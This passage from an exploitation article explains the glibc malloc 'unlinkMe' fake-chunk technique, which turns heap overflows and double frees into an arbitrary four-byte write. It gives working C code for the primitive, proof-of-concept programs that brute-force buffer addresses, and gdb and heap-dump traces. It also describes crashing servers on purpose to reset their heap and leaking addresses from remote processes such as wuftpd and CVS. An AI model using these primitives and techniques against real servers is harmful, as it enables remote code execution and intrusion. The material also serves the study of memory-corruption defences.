This makes our previous unlinkMe chunk to fail in two different points in systems using a newer libc.

Our first problem is located within the following code:

public_fREe(Void_t* mem)

{

...

ar_ptr = arena_for_chunk(p);

...

_int_free(ar_ptr, mem);

...

where:

#define arena_for_chunk(ptr) \

(chunk_non_main_arena(ptr) ? heap_for_ptr(ptr)‑>ar_ptr : &main_arena)

and

/* check for chunk from non‑main arena */

#define chunk_non_main_arena(p) ((p)‑>size & NON_MAIN_ARENA)

If heap_for_ptr() is called when processing our fake chunk, the process crashes in the following way:

0x42074a04 in free () from /lib/i686/libc.so.6

1: x/i $eip 0x42074a04 <free+84>: and $0x4,%edx

(gdb) x/20x $edx

0xffffffdd: Cannot access memory at address 0xffffffdd

0x42074a07 in free () from /lib/i686/libc.so.6

1: x/i $eip 0x42074a07 <free+87>: je 0x42074a52 <free+162>

0x42074a09 in free () from /lib/i686/libc.so.6

1: x/i $eip 0x42074a09 <free+89>: and $0xfff00000,%eax

0x42074a0e in free () from /lib/i686/libc.so.6

1: x/i $eip 0x42074a0e <free+94>: mov (%eax),%edi

(gdb) x/x $eax

0x8000000: Cannot access memory at address 0x8000000

Program received signal SIGSEGV, Segmentation fault.

0x42074a0e in free () from /lib/i686/libc.so.6

1: x/i $eip 0x42074a0e <free+94>: mov (%eax),%edi

So, the fake chunk size has to have its NON_MAIN_ARENA flag not set.

Then, our second problem takes places when the supplied size is masked with the SIZE_BITS. Older code looked like this:

nextsz = chunksize(next);

0x400152e2 <chunk_free+64>: mov 0x4(%edx),%ecx 0x400152e5 <chunk_free+67>: and $0xfffffffc,%ecx

and new code is:

nextsize = chunksize(nextchunk);

0x42073fe0 <_int_free+112>: mov 0x4(%ecx),%eax

0x42073fe3 <_int_free+115>: mov %ecx,0xffffffec(%ebp) 0x42073fe6 <_int_free+118>: mov %eax,0xffffffe4(%ebp) 0x42073fe9 <_int_free+121>: and $0xfffffff8,%eax

So, we can't use ‑4 anymore, the smaller size we can provide is ‑8. Also, we are not able anymore to make every chunk to point to our nasty chunk. The following code shows our new unlinkMe chunk which solves both problems:

unsigned long *aa4bmoPrimitive(unsigned long what,

unsigned long where,unsigned long sz){

unsigned long *unlinkMe;

int i=0;

if(sz<13) sz = 13;

unlinkMe=(unsigned long*)malloc(sz*sizeof(unsigned long)); // 1st nasty chunk

unlinkMe[i++] = ‑4; // PREV_INUSE is not set

unlinkMe[i++] = ‑4;

unlinkMe[i++] = ‑4;

unlinkMe[i++] = what;

unlinkMe[i++] = where‑8;

// 2nd nasty chunk

unlinkMe[i++] = ‑4; // PREV_INUSE is not set

unlinkMe[i++] = ‑4;

unlinkMe[i++] = ‑4;

unlinkMe[i++] = what;

unlinkMe[i++] = where‑8;

for(;i<sz;i++)

if(i%2)

// relative negative offset to 1st nasty chunk

unlinkMe[i] = ((‑(i‑8) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE; else

// relative negative offset to 2nd nasty chunk

unlinkMe[i] = ((‑(i‑3) * 4) & ~(IS_MMAP|NON_MAIN_ARENA)) | PREV_INUSE;

free(unlinkMe+SOMEOFFSET(sz));

return unlinkMe;

}

The process is similar to the previously explained for the first unlinkMe chunk version. Now, we are using two nasty chunks, in order to be able to point every chunk to one of them. Also, we added a ‑4 (PREV_INUSE flag not set) before each of the nasty chunks, which is accessed in step 3 of the '4.1.1 First unlinkMe chunk' section, as ‑8 is the smaller size we can provide.

This new version of the unlinkMe chunk works both in older and newer libc versions. Along the article most proof of concept code uses the first version, replacing the aa4bmoPrimitive() function is enough to obtain an updated version.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑] 4.2 Heap layout analysis

You may want to read the 'Appendix I ‑ malloc internal structures overview' section before going on.

Analysing the targeted process heap layout and its evolution allows to understand what is happening in the process heap in every moment, its state, evolution, changes... etc. This allows to predict the allocator behavior and its reaction to each of our inputs.

Being able to predict the heap layout evolution, and using it to our advantage is extremely important in order to obtain a reliable exploit.

To achieve this, we'll need to understand the allocation behavior of the process (i.e. if the process allocates large structures for each connection, if lots of free chunks/heap holes are generated by a specific command handler, etc), which of our inputs may be used to force a big/small allocation, etc.

We must pay attention to every use of the malloc routines, and how/where we might be able to influence them via our input so

that a reliable situation is reached.

For example, in a double free() vulnerability scenario, we know the second free() call (trying to free already freed memory), will probably crash the process. Depending on the heap layout evolution between the first free() and the second free(), the portion of memory being freed twice may: have not changed, have been reallocated several times, have been coalesced with other chunks or have been overwritten and freed.

The main factors we have to recognize include:

A] chunk size: does the process allocate big memory chunks? is our input stored in the heap? what commands are stored in the heap? is there any size limit to our input? am I able to force a heap top (top_chunk) extension?

B] allocation behavior: are chunks allocated for each of our connections? what size? are chunks allocated periodically? are chunks freed periodically? (i.e. async garbage collector, cache pruning, output buffers, etc)

C] heap holes: does the process leave holes? when? where? what size? can we fill the hole with our input? can we force the overflow condition in this hole? what is located after the hole? are we able to force the creation of holes?

D] original heap layout: is the heap layout predictable after process initialization? after accepting a client connection? (this is related to the server mode)

During our tests, we use an adapted version of a real malloc implementation taken from the glibc, which was modified to generate debugging output for each step of the allocator's algorithms, plus three helper functions added to dump the heap layout and state.

This allows us to understand what is going on during exploitation, the actual state of the allocator internal structures, how our input affects them, the heap layout, etc.

Here is the code of the functions we'll use to dump the heap state:

static void

#if __STD_C

heap_dump(arena *ar_ptr)

#else

heap_dump(ar_ptr) arena *ar_ptr;

#endif

{

mchunkptr p;

fprintf(stderr,"\n‑‑‑ HEAP DUMP ‑‑‑\n");

fprintf(stderr,

" ADDRESS SIZE FD BK\n");

fprintf(stderr,"sbrk_base %p\n", (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK));

p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK);

for(;;) {

fprintf(stderr, "chunk %p 0x%.4x", p, (long)p‑>size);

if(p == top(ar_ptr)) {

fprintf(stderr, " (T)\n");

break;

} else if(p‑>size == (0|PREV_INUSE)) {

fprintf(stderr, " (Z)\n");

break;

}

if(inuse(p))

fprintf(stderr," (A)");

else

fprintf(stderr," (F) | 0x%8x | 0x%8x |",p‑>fd,p‑>bk);

if((p‑>fd==last_remainder(ar_ptr))&&(p‑>bk==last_remainder(ar_ptr))) fprintf(stderr," (LR)");

else if(p‑>fd==p‑>bk & ~inuse(p))

fprintf(stderr," (LC)");

fprintf(stderr,"\n");

p = next_chunk(p);

}

fprintf(stderr,"sbrk_end %p\n",sbrk_base+sbrked_mem);

}

static void

#if __STD_C

heap_layout(arena *ar_ptr)

#else

heap_layout(ar_ptr) arena *ar_ptr;

#endif

{

mchunkptr p;

fprintf(stderr,"\n‑‑‑ HEAP LAYOUT ‑‑‑\n");

p = (mchunkptr)(((unsigned long)sbrk_base + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK);

for(;;p=next_chunk(p)) {

if(p==top(ar_ptr)) {

fprintf(stderr,"|T|\n\n");

break;

}

if((p‑>fd==last_remainder(ar_ptr))&&(p‑>bk==last_remainder(ar_ptr))) { fprintf(stderr,"|L|");

continue;

}

if(inuse(p)) {

fprintf(stderr,"|A|");

continue;

}

fprintf(stderr,"|%lu|",bin_index(p‑>size)); continue;

}

}

}

static void

#if __STD_C

bin_dump(arena *ar_ptr)

#else

bin_dump(ar_ptr) arena *ar_ptr;

#endif

{

int i;

mbinptr b;

mchunkptr p;

fprintf(stderr,"\n‑‑‑ BIN DUMP ‑‑‑\n");

(void)mutex_lock(&ar_ptr‑>mutex);

fprintf(stderr,"arena @ %p ‑ top @ %p ‑ top size = 0x%.4x\n", ar_ptr,top(ar_ptr),chunksize(top(ar_ptr)));

for (i = 1; i < NAV; ++i)

{

char f = 0;

b = bin_at(ar_ptr, i);

for (p = last(b); p != b; p = p‑>bk)

{

if(!f){

f = 1;

fprintf(stderr," bin %d @ %p\n",i,b);

}

fprintf(stderr," free_chunk @ %p ‑ size 0x%.4x\n", p,chunksize(p));

}

(void)mutex_unlock(&ar_ptr‑>mutex);

fprintf(stderr,"\n");

}

‑‑] 4.2.1 Proof of concept 2: Heap layout debugging

We'll use the following code to show how the debug functions help to analyse the heap layout:

#include <malloc.h>

int main(void){

void *curly,*larry,*moe,*po,*lala,*dipsi,*tw,*piniata; curly = malloc(256);

larry = malloc(256);

moe = malloc(256);

po = malloc(256);

lala = malloc(256);

free(larry);

free(po);

tw = malloc(128);

piniata = malloc(128);

dipsi = malloc(1500);

free(dipsi);

free(lala);

}

The sample debugging section helps to understand malloc's basic algorithms and data structures:

(gdb) set env LD_PRELOAD ./heapy.so

We override the real malloc with our debugging functions, heapy.so also includes the heap layout dumping functions.

(gdb) r

Starting program: /home/jp/cerebro/heapy/debugging_sample

4 curly = malloc(256);

[1679] MALLOC(256) ‑ CHUNK_ALLOC(0x40018040,264)

extended top chunk:

previous size 0x0

new top 0x80496a0 size 0x961

returning 0x8049598 from top chunk

(gdb) p heap_dump(0x40018040)

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FD BK

sbrk_base 0x8049598

chunk 0x8049598 0x0109 (A)

chunk 0x80496a0 0x0961 (T)

sbrk_end 0x804a000

(gdb) p bin_dump(0x40018040)

‑‑‑ BIN DUMP ‑‑‑

arena @ 0x40018040 ‑ top @ 0x80496a0 ‑ top size = 0x0960

(gdb) p heap_layout(0x40018040)

‑‑‑ HEAP LAYOUT ‑‑‑

|A||T|

The first chunk is allocated, note the difference between the requested size (256 bytes) and the size passed to chunk_alloc(). As there is no chunk, the top needs to be extended and memory is requested to the operating system. More memory than the needed is requested, the remaining space is allocated to the 'top chunk'.

In the heap_dump()'s output the (A) represents an allocated chunk, while the (T) means the chunk is the top one. Note the top chunk's size (0x961) has its last bit set, indicating the previous chunk is allocated:

/* size field is or'ed with PREV_INUSE when previous adjacent chunk in use

*/

#define PREV_INUSE 0x1UL

The bin_dump()'s output shows no bin, as there is no free chunk yet, except from the top. The heap_layout()'s output just shows an allocated chunk next to the top.

5 larry = malloc(256);

[1679] MALLOC(256) ‑ CHUNK_ALLOC(0x40018040,264)

returning 0x80496a0 from top chunk

new top 0x80497a8 size 0x859

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FD BK

sbrk_base 0x8049598

chunk 0x8049598 0x0109 (A)

chunk 0x80496a0 0x0109 (A)

chunk 0x80497a8 0x0859 (T)

sbrk_end 0x804a000

‑‑‑ BIN DUMP ‑‑‑

arena @ 0x40018040 ‑ top @ 0x80497a8 ‑ top size = 0x0858

‑‑‑ HEAP LAYOUT ‑‑‑

|A||A||T|

A new chunk is allocated from the remaining space at the top chunk. The same happens with the next malloc() calls.

6 moe = malloc(256);

[1679] MALLOC(256) ‑ CHUNK_ALLOC(0x40018040,264)

returning 0x80497a8 from top chunk

new top 0x80498b0 size 0x751

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FD BK

sbrk_base 0x8049598

chunk 0x8049598 0x0109 (A)

chunk 0x80496a0 0x0109 (A)

chunk 0x80497a8 0x0109 (A)

chunk 0x80498b0 0x0751 (T)

sbrk_end 0x804a000

‑‑‑ BIN DUMP ‑‑‑

arena @ 0x40018040 ‑ top @ 0x80498b0 ‑ top size = 0x0750

‑‑‑ HEAP LAYOUT ‑‑‑

|A||A||A||T|

7 po = malloc(256);

[1679] MALLOC(256) ‑ CHUNK_ALLOC(0x40018040,264)

returning 0x80498b0 from top chunk

new top 0x80499b8 size 0x649

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FD BK

sbrk_base 0x8049598

chunk 0x8049598 0x0109 (A)

chunk 0x80496a0 0x0109 (A)

chunk 0x80497a8 0x0109 (A)

chunk 0x80498b0 0x0109 (A)

chunk 0x80499b8 0x0649 (T)

sbrk_end 0x804a000

‑‑‑ BIN DUMP ‑‑‑

arena @ 0x40018040 ‑ top @ 0x80499b8 ‑ top size = 0x0648

‑‑‑ HEAP LAYOUT ‑‑‑

|A||A||A||A||T|

8 lala = malloc(256);

[1679] MALLOC(256) ‑ CHUNK_ALLOC(0x40018040,264)

returning 0x80499b8 from top chunk

new top 0x8049ac0 size 0x541

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FD BK

sbrk_base 0x8049598

chunk 0x8049598 0x0109 (A)

chunk 0x80496a0 0x0109 (A)

chunk 0x80497a8 0x0109 (A)

chunk 0x80498b0 0x0109 (A)

chunk 0x80499b8 0x0109 (A)

chunk 0x8049ac0 0x0541 (T)

sbrk_end 0x804a000

‑‑‑ BIN DUMP ‑‑‑

arena @ 0x40018040 ‑ top @ 0x8049ac0 ‑ top size = 0x0540

‑‑‑ HEAP LAYOUT ‑‑‑

|A||A||A||A||A||T|

9 free(larry);

[1679] FREE(0x80496a8) ‑ CHUNK_FREE(0x40018040,0x80496a0) fronlink(0x80496a0,264,33,0x40018148,0x40018148) new free chunk

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FD BK

sbrk_base 0x8049598

chunk 0x8049598 0x0109 (A)

chunk 0x80496a0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC) chunk 0x80497a8 0x0108 (A)

chunk 0x80498b0 0x0109 (A)

chunk 0x80499b8 0x0109 (A)

chunk 0x8049ac0 0x0541 (T)

sbrk_end 0x804a000

‑‑‑ BIN DUMP ‑‑‑

arena @ 0x40018040 ‑ top @ 0x8049ac0 ‑ top size = 0x0540

bin 33 @ 0x40018148

free_chunk @ 0x80496a0 ‑ size 0x0108

‑‑‑ HEAP LAYOUT ‑‑‑

|A||33||A||A||A||T|

A chunk is freed. The frontlink() macro is called to insert the new free chunk into the corresponding bin:

frontlink(ar_ptr, new_free_chunk, size, bin_index, bck, fwd);

Note the arena address parameter (ar_ptr) was omitted in the output. In this case, the chunk at 0x80496a0 was inserted in the bin number 33 according to its size. As this chunk is the only one in its bin (we can check this in the bin_dump()'s output), it's a lonely chunk (LC) (we'll see later that being lonely makes 'him' dangerous...), its

bk and fd pointers are equal and point to the bin number 33.

In the heap_layout()'s output, the new free chunk is represented by the number of the bin where it is located.

10 free(po);

[1679] FREE(0x80498b8) ‑ CHUNK_FREE(0x40018040,0x80498b0) fronlink(0x80498b0,264,33,0x40018148,0x80496a0) new free chunk

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FD BK

sbrk_base 0x8049598

chunk 0x8049598 0x0109 (A)

chunk 0x80496a0 0x0109 (F) | 0x40018148 | 0x080498b0 |

chunk 0x80497a8 0x0108 (A)

chunk 0x80498b0 0x0109 (F) | 0x080496a0 | 0x40018148 |

chunk 0x80499b8 0x0108 (A)

chunk 0x8049ac0 0x0541 (T)

sbrk_end 0x804a000

‑‑‑ BIN DUMP ‑‑‑

arena @ 0x40018040 ‑ top @ 0x8049ac0 ‑ top size = 0x0540

bin 33 @ 0x40018148

free_chunk @ 0x80496a0 ‑ size 0x0108

free_chunk @ 0x80498b0 ‑ size 0x0108

‑‑‑ HEAP LAYOUT ‑‑‑

|A||33||A||33||A||T|

Now, we have two free chunks in the bin number 33. We can appreciate now how the double linked list is built. The forward pointer of the chunk at 0x80498b0 points to the other chunk in the list, the backward pointer points to the list head, the bin.

Note that there is no longer a lonely chunk. Also, we can see the difference between a heap address and a libc address (the bin address), 0x080496a0 and 0x40018148 respectively.

11 tw = malloc(128);

[1679] MALLOC(128) ‑ CHUNK_ALLOC(0x40018040,136) unlink(0x80496a0,0x80498b0,0x40018148) from big bin 33 chunk 1 (split) new last_remainder 0x8049728

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FD BK

sbrk_base 0x8049598

chunk 0x8049598 0x0109 (A)

chunk 0x80496a0 0x0089 (A)

chunk 0x8049728 0x0081 (F) | 0x40018048 | 0x40018048 | (LR) chunk 0x80497a8 0x0108 (A)

chunk 0x80498b0 0x0109 (F) | 0x40018148 | 0x40018148 | (LC) chunk 0x80499b8 0x0108 (A)

chunk 0x8049ac0 0x0541 (T)

sbrk_end 0x804a000

‑‑‑ BIN DUMP ‑‑‑

arena @ 0x40018040 ‑ top @ 0x8049ac0 ‑ top size = 0x0540

bin 1 @ 0x40018048

free_chunk @ 0x8049728 ‑ size 0x0080

bin 33 @ 0x40018148

free_chunk @ 0x80498b0 ‑ size 0x0108

‑‑‑ HEAP LAYOUT ‑‑‑

|A||A||L||A||33||A||T|

In this case, the requested size for the new allocation is smaller than the size of the available free chunks. So, the first freed buffer is taken from the bin with the unlink() macro and splitted. The first part is allocated, the remaining free space is called the 'last remainder', which is always stored in the first bin, as we can see in the bin_dump()'s output.

In the heap_layout()'s output, the last remainder chunk is represented with a L; in the heap_dump()'s output, (LR) is used.

12 piniata = malloc(128);

[1679] MALLOC(128) ‑ CHUNK_ALLOC(0x40018040,136)

clearing last_remainder frontlink(0x8049728,128,16,0x400180c0,0x400180c0) last_remainder unlink(0x80498b0,0x40018148,0x40018148) from big bin 33 chunk 1 (split) new last_remainder 0x8049938

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FD BK

sbrk_base 0x8049598

chunk 0x8049598 0x0109 (A)

chunk 0x80496a0 0x0089 (A)

chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC) chunk 0x80497a8 0x0108 (A)

chunk 0x80498b0 0x0089 (A)

chunk 0x8049938 0x0081 (F) | 0x40018048 | 0x40018048 | (LR) chunk 0x80499b8 0x0108 (A)

chunk 0x8049ac0 0x0541 (T)

sbrk_end 0x804a000

$25 = void

‑‑‑ BIN DUMP ‑‑‑

arena @ 0x40018040 ‑ top @ 0x8049ac0 ‑ top size = 0x0540

bin 1 @ 0x40018048

free_chunk @ 0x8049938 ‑ size 0x0080

bin 16 @ 0x400180c0

free_chunk @ 0x8049728 ‑ size 0x0080

‑‑‑ HEAP LAYOUT ‑‑‑

|A||A||16||A||A||L||A||T|

As the last_remainder size is not enough for the requested allocation, the last remainder is cleared and inserted as a new free chunk into the corresponding bin. Then, the other free chunk is taken from its bin and split as in the previous step.

13 dipsi = malloc(1500);

[1679] MALLOC(1500) ‑ CHUNK_ALLOC(0x40018040,1504)

clearing last_remainder frontlink(0x8049938,128,16,0x400180c0,0x8049728) last_remainder extended top chunk:

previous size 0x540

new top 0x804a0a0 size 0xf61

returning 0x8049ac0 from top chunk

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FD BK

sbrk_base 0x8049598

chunk 0x8049598 0x0109 (A)

chunk 0x80496a0 0x0089 (A)

chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 |

chunk 0x80497a8 0x0108 (A)

chunk 0x80498b0 0x0089 (A)

chunk 0x8049938 0x0081 (F) | 0x08049728 | 0x400180c0 |

chunk 0x80499b8 0x0108 (A)

chunk 0x8049ac0 0x05e1 (A)

chunk 0x804a0a0 0x0f61 (T)

sbrk_end 0x804b000

‑‑‑ BIN DUMP ‑‑‑

arena @ 0x40018040 ‑ top @ 0x804a0a0 ‑ top size = 0x0f60

bin 16 @ 0x400180c0

free_chunk @ 0x8049728 ‑ size 0x0080

free_chunk @ 0x8049938 ‑ size 0x0080

‑‑‑ HEAP LAYOUT ‑‑‑

|A||A||16||A||A||16||A||A||T|

As no available free chunk is enough for the requested allocation size, the top chunk was extended again.

14 free(dipsi);

[1679] FREE(0x8049ac8) ‑ CHUNK_FREE(0x40018040,0x8049ac0) merging with top

new top 0x8049ac0

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FD BK

sbrk_base 0x8049598

chunk 0x8049598 0x0109 (A)

chunk 0x80496a0 0x0089 (A)

chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x08049938 |

chunk 0x80497a8 0x0108 (A)

chunk 0x80498b0 0x0089 (A)

chunk 0x8049938 0x0081 (F) | 0x 8049728 | 0x400180c0 |

chunk 0x80499b8 0x0108 (A)

chunk 0x8049ac0 0x1541 (T)

sbrk_end 0x804b000

‑‑‑ BIN DUMP ‑‑‑

arena @ 0x40018040 ‑ top @ 0x8049ac0 ‑ top size = 0x1540

bin 16 @ 0x400180c0

free_chunk @ 0x8049728 ‑ size 0x0080

free_chunk @ 0x8049938 ‑ size 0x0080

‑‑‑ HEAP LAYOUT ‑‑‑

|A||A||16||A||A||16||A||T|

The chunk next to the top chunk is freed, so it gets coalesced with it, and it is not inserted in any bin.

15 free(lala);

[1679] FREE(0x80499c0) ‑ CHUNK_FREE(0x40018040,0x80499b8) unlink(0x8049938,0x400180c0,0x8049728) for back consolidation merging with top

new top 0x8049938

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FD BK

sbrk_base 0x8049598

chunk 0x8049598 0x0109 (A)

chunk 0x80496a0 0x0089 (A)

chunk 0x8049728 0x0081 (F) | 0x400180c0 | 0x400180c0 | (LC) chunk 0x80497a8 0x0108 (A)

chunk 0x80498b0 0x0089 (A)

chunk 0x8049938 0x16c9 (T)

sbrk_end 0x804b000

‑‑‑ BIN DUMP ‑‑‑

arena @ 0x40018040 ‑ top @ 0x8049938 ‑ top size = 0x16c8

bin 16 @ 0x400180c0

free_chunk @ 0x8049728 ‑ size 0x0080

‑‑‑ HEAP LAYOUT ‑‑‑

|A||A||16||A||A||T|

Again, but this time also the chunk before the freed chunk is coalesced, as it was already free.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑] 4.3 ‑ Layout reset ‑ initial layout prediction ‑ server model

In this section, we analyse how different scenarios may impact on the exploitation process.

In case of servers that get restarted, it may be useful to cause a 'heap reset', which means crashing the process on purpose in order to obtain a clean and known initial heap layout.

The new heap that gets built together with the new restarted process is in its 'initial layout'. This refers to the initial state of the heap after the process initialization, before receiving any input from the user. The initial layout can be easily predicted and used as a the known starting point for the heap layout evolution prediction, instead of using a not virgin layout result of several modifications performed while serving client requests. This initial layout may not vary much across different versions of the targeted server, but in case of major changes in the source code.

One issue very related to the heap layout analysis is the kind of process being exploited.

In case of a process that serves several clients, heap layout evolution prediction is harder, as may be influenced by other clients that may be interacting with our target server while we are trying to exploit it. However, it gets useful in case where the interaction between the server and the client is very restricted, as it enables the attacker to open multiple connections to affect the same process with different input commands.

On the other hand, exploiting a one client per process server (i.e. a forking server) is easier, as long as we can accurately predict the initial heap layout and we are able to populate the process memory in a fully controlled way.

As it is obvious, a server that does not get restarted, gives us just one shot so, for example, bruteforcing and/or 'heap reset' can't be applied.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑‑] 4.4 Obtaining information from the remote process

The idea behind the techniques in this section is to force a remote server to give us information to aid us in finding the memory locations needed for exploitation.

This concept was already used as different mechanisms in the 'Bypassing PaX ASLR' paper [13], used to bypass randomized space address processes. Also, the idea was suggested in [4], as 'transforming a write primitive in a read primitive'.

‑‑] 4.4.1 Modifying server static data ‑ finding process' DATA

This technique was originally seen in wuftpd ~{ exploits. When the ftpd process receives a 'help' request, answers with all the available commands. These are stored in a table which is part of the process' DATA, being a static structure. The attacker tries to overwrite part of the structure, and using the 'help' command until he sees a change in the server's answer.

Now the attacker knows an absolute address within the process' DATA, being able to predict the location of the process' GOT.

‑‑] 4.4.2 Modifying user input ‑ finding shellcode location

The following technique allows the attacker to find the exact location of the injected shellcode within the process' address space, being independent of the target process.

To obtain the address, the attacker provides the process with some bogus data, which is stored in some part of the process. Then, the basic primitive is used, trying to write 4 bytes in the location the bogus data was previously stored. After this, the server is forced to reply using the supplied bogus data.

If the replayed data differs from the original supplied (taken into account any transformation the server may perform on our input), we can be sure that next time we send the same input sequence to the server, it will be stored in the same place. The server's answer may be truncated if a function expecting NULL terminating strings is used to craft it, or to obtain the answer's length before sending it through the network. In fact, the provided input may be stored multiple times in different locations, we will only detect a modification when we hit the location where the server reply is crafted.

Note we are able to try two different addresses for each connection, speeding up the bruteforcing mechanism.

The main requirement needed to use this trick, is being able to trigger the aa4bmo primitive between the time the supplied data is stored and the time the server's reply is built. Understanding the process allocation behavior, including how is processed each available input command is needed.

‑‑] 4.4.2.1 Proof of concept 3 : Hitting the output

The following code simulates a process which provides us with a aa4bmo primitive to try to find where a heap allocated output buffer is located:

#include <stdio.h>

#define SZ 256

#define SOMEOFFSET 5 + (rand() % (SZ‑1))

#define PREV_INUSE 1

#define IS_MMAP 2

#define OUTPUTSZ 1024

void aa4bmoPrimitive(unsigned long what, unsigned long where){ unsigned long *unlinkMe=(unsigned long*)malloc(SZ*sizeof(unsigned long)); int i = 0;

unlinkMe[i++] = ‑4;

unlinkMe[i++] = ‑4;

unlinkMe[i++] = what;

unlinkMe[i++] = where‑8;

for(;i<SZ;i++){

unlinkMe[i] = ((‑(i‑1) * 4) & ~IS_MMAP) | PREV_INUSE ;

}

free(unlinkMe+SOMEOFFSET);

return;

}

int main(int argc, char **argv){

long where;

char *output;

int contador,i;

printf("## OUTPUT hide and seek ##\n\n");

output = (char*)malloc(OUTPUTSZ); memset(output,'O',OUTPUTSZ);

for(contador=1;argv[contador]!=NULL;contador++){

where = strtol(argv[contador], (char **)NULL, 16); printf("[.] trying %p\n",where);

aa4bmoPrimitive(where,where);

for(i=0;i<OUTPUTSZ;i++)

if(output[i] != 'O'){

printf("(!) you found the output @ %p :(\n",where); printf("[%s]\n",output);

return 0;

}

printf("(‑) output was not @ %p :P\n",where);

}

printf("(x) did not find the output <:|\n");

}

LD_PRELOAD=./heapy.so ./hitOutput 0x8049ccc 0x80498b8 0x8049cd0 0x8049cd4 0x8049cd8 0x8049cdc 0x80498c8 > output

## OUTPUT hide and seek ##

[.] trying 0x8049ccc

(‑) output was not @ 0x8049ccc :P

[.] trying 0x80498b8

(‑) output was not @ 0x80498b8 :P

[.] trying 0x8049cd0

(‑) output was not @ 0x8049cd0 :P

[.] trying 0x8049cd4

(‑) output was not @ 0x8049cd4 :P

[.] trying 0x8049cd8

(‑) output was not @ 0x8049cd8 :P

[.] trying 0x8049cdc

(‑) output was not @ 0x8049cdc :P

[.] trying 0x80498c8

(!) you found the output @ 0x80498c8 :( [OOOOOOOO~X^D^H~X^D^HOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO ... OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO]

Note the stamped output in the following hexdump:

...

7920 756f 6620 756f 646e 7420 6568 6f20

7475 7570 2074 2040 7830 3038 3934 6338

2038 283a 5b0a 4f4f 4f4f 4f4f 4f4f 98c8 <==

0804 98c8 0804 4f4f 4f4f 4f4f 4f4f 4f4f <==

4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f 4f4f

4f4f 4f4f 4f4f 0a5d

This bruteforcing mechanism is not completely accurate in some cases, for example, when the target server uses an output buffering scheme. In order to improve the technique, we might mark some part of the supplied data as real shellcode, and other as nops, requiring the nop part to be hit while bruteforcing in order to avoid obtaining an address in the middle of our shellcode. Even better, we could tag each four bytes with a masked offset (i.e. to avoid character \x00 i.e.), when we analyse the reply we will now obtain the expected offset to the shellcode, so being able in a second try to see if actually in that expected address was stored our shellcode, detecting and avoiding this way the risk of our input being split and stored separated in the heap.

For example, in the CVS 'Directory' double free exploit [7], unrecognized commands (i.e. 'cucucucucu') are used to populate the server heap. The server does not answer, just stores the provided data in the heap, and waits, until a noop or a command is received. After that, the unrecognized command that was sent is sent back without any modification to the client. We can provide the server with data almost without any size restriction, this data is stored in the heap, until we force it to be replayed to us. However, analysing how our unrecognized command is stored in the heap we find that, instead of what we expected (a single memory chunk with our data), there are other structures mixted with our input:

‑‑‑ HEAP DUMP ‑‑‑

ADDRESS SIZE FD BK

[...]

chunk 0x80e9998 0x00661 (F) | 0x40018e48 | 0x40018e48 |

chunk 0x80e9ff8 0x10008 (A)

chunk 0x80fa000 0x00ff9 (F) | 0x40018ed0 | 0x0810b000 |

chunk 0x80faff8 0x10008 (A)

chunk 0x810b000 0x00ff9 (F) | 0x080fa000 | 0x0811c000 |

chunk 0x810bff8 0x10008 (A)

chunk 0x813e000 0x04001 (T)

sbrk_end 0x8142000

This happens because error messages are buffered when generated, waiting to be flushed, some buffering state internal structures get allocated, and our data is split and stored in fixed size error buffers.

‑‑] 4.4.3 Modifying user input ‑ finding libc's DATA

In this situation, we are able to provide some input to the vulnerable server which is then sent as output to us again. For example, in the CVS 'Directory' double free() vulnerability, we give the server and invalid command, which is finally echoed back to the client explaining it was an invalid command.

If we are able to force a call to free(), to an address pointing in somewhere in the middle of our provided input, before it is sent back to the client, we will be able to get the address of a main_arena's bin. The ability to force a free() pointing to our supplied input, depends on the exploitation scenario, being simple to achieve this in 'double‑free' situations.

When the server frees our input, it founds a very big sized chunk, so it links it as the first chunk (lonely chunk) of the bin. This depends mainly on the process heap layout, but depending on what we are exploiting it should be easy to predict which size would be needed to create the new free chunk as a lonely one.

When frontlink() setups the new free chunk, it saves the bin address in the fw and bk pointer of the chunk, being this what ables us to obtain later the bin address.

Note we should be careful with our input chunk, in order to avoid the process crashing while freeing our chunk, but this is quite simple in most cases, i.e. providing a known address near the end of the stack.

The user provides as input a 'cushion chunk' to the target process. free() is called in any part of our input, so our especially crafted chunk is inserted in one of the last bins (we may know it's empty from the heap analysis stage, avoiding then a process crash). When the provided cushion chunk is inserted into the bin, the bin's address is written in the fd and bk fields of the chunk's header.

‑‑] 4.4.3.1 Proof of concept 4 : Freeing the output

The following code creates a 'cushion chunk' as it would be sent to the server, and calls free() at a random location within the chunk (as the target server would do).

